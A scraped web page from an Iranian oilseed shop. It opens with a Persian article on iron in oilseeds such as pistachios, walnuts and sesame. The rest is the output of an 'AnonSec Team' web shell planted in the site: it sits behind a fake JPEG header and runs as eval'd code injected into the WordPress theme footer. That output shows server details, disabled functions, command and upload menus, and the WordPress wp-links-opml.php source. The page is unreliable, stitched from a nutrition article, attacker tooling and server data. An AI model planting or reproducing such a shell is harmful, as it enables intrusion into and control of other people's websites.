انواع دانه های روغنی حاوی آهن

یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟
به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند.
شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.

انواع دانه های روغنی

دانه های روغنی و آهن موجود در آن

آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند.
بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 37.187.155.34  /  Your IP : 3.14.251.87
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/../private_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/oilse103/domains/oilseeda.ir/public_html/../private_html/wp-links-opml.php
<?php
/**
 * Outputs the OPML XML format for getting the links defined in the link
 * administration. This can be used to export links from one blog over to
 * another. Links aren't exported by the WordPress export, so this file handles
 * that.
 *
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. It will have to be added manually for browsers and users to pick
 * up that this file exists.
 *
 * @package WordPress
 */

require_once __DIR__ . '/wp-load.php';

header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );
$link_cat = '';
if ( ! empty( $_GET['link_cat'] ) ) {
	$link_cat = $_GET['link_cat'];
	if ( ! in_array( $link_cat, array( 'all', '0' ), true ) ) {
		$link_cat = absint( (string) urldecode( $link_cat ) );
	}
}

echo '<?xml version="1.0"?' . ">\n";
?>
<opml version="1.0">
	<head>
		<title>
		<?php
			/* translators: %s: Site title. */
			printf( __( 'Links for %s' ), esc_attr( get_bloginfo( 'name', 'display' ) ) );
		?>
		</title>
		<dateCreated><?php echo gmdate( 'D, d M Y H:i:s' ); ?> GMT</dateCreated>
		<?php
		/**
		 * Fires in the OPML header.
		 *
		 * @since 3.0.0
		 */
		do_action( 'opml_head' );
		?>
	</head>
	<body>
<?php
if ( empty( $link_cat ) ) {
	$cats = get_categories(
		array(
			'taxonomy'     => 'link_category',
			'hierarchical' => 0,
		)
	);
} else {
	$cats = get_categories(
		array(
			'taxonomy'     => 'link_category',
			'hierarchical' => 0,
			'include'      => $link_cat,
		)
	);
}

foreach ( (array) $cats as $cat ) :
	/** This filter is documented in wp-includes/bookmark-template.php */
	$catname = apply_filters( 'link_category', $cat->name );

	?>
<outline type="category" title="<?php echo esc_attr( $catname ); ?>">
	<?php
	$bookmarks = get_bookmarks( array( 'category' => $cat->term_id ) );
	foreach ( (array) $bookmarks as $bookmark ) :
		/**
		 * Filters the OPML outline link title text.
		 *
		 * @since 2.2.0
		 *
		 * @param string $title The OPML outline title text.
		 */
		$title = apply_filters( 'link_title', $bookmark->link_name );
		?>
<outline text="<?php echo esc_attr( $title ); ?>" type="link" xmlUrl="<?php echo esc_url( $bookmark->link_rss ); ?>" htmlUrl="<?php echo esc_url( $bookmark->link_url ); ?>" updated="
							<?php
							if ( '0000-00-00 00:00:00' !== $bookmark->link_updated ) {
								echo $bookmark->link_updated;
							}
							?>
" />
		<?php
	endforeach; // $bookmarks
	?>
</outline>
	<?php
endforeach; // $cats
?>
</body>
</opml>

AnonSec - 2021